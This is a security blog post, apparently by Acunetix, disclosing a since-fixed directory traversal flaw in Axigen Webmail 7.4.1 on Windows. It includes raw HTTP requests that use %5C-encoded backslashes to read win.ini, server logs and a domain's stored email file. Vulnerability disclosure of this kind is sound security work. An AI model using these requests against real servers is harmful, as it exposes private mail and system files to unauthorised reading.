Directory Traversal in Axigen v7.4.1 running on Windows

We are continuing with the list of security vulnerabilities found in a
number of web applications while testing our latest version of Acunetix
WVS v7 . In this blog post, we will look into the details of a very
serious web vulnerability discovered by Acunetix WVS in Axigen.

"Axigen is an integrated email, calendaring & collaboration platform,
masterfully built on our unique Linux mail server technology, for
increased speed & security."

Axigen Webmail version 7.4.1 is vulnerable to a directory traversal
vulnerability. Only Axigen installations running on Windows platforms
are affected. By URL encoding the "\" character to %5C it's possible to
bypass the directory traversal protection available in this application.

By requesting the following URL
(/…%5c…%5c…%5c…%5c…%5c…%5c…%5c…%5cwindows/win.ini) it's possible
to read the contents of file c:\windows\win.ini. Using this encoding
trick you can traverse directories and see the contents of any file that
is readable by the web server use

Here is a sample HTTP request:

GET
http://192.168.0.222:80/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini
HTTP/1.1
Cookie: webmailSession=0; cookieTest=cookiesEnabled; checkOverQuota=0;
passwordExpireWarning=0
Host: 192.168.0.222:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

While investigating this alert, I've discovered that this vulnerability
is more serious than I initially expected. This is a very serious
vulnerability because using information from the log files it's possible
to gather enough information to read the file containing all the emails
from all the domains hosted on the server.

For, example, using an HTTP request like:

GET /…%5c…%5c/log/everything.txt HTTP/1.0
Accept: /
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

you can access the log file. From here you get determine the domain name
and using this information you can read the file containing all the
emails from this domain:

GET /…%5c…%5c/domains/localdomain/00.hsf HTTP/1.0
Accept: /
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

This vulnerability was reported to the Axigen team on 22/7/2010 via the
support system on their website and they were fixed in Axigen version
7.4.2. If you are using Axigen, download the latest version from their
website.

–
Bogdan Calin - bogdan [at] acunetix.com
CTO
Acunetix Ltd. - http://www.acunetix.com
Acunetix Web Security Blog - http://www.acunetix.com/blog
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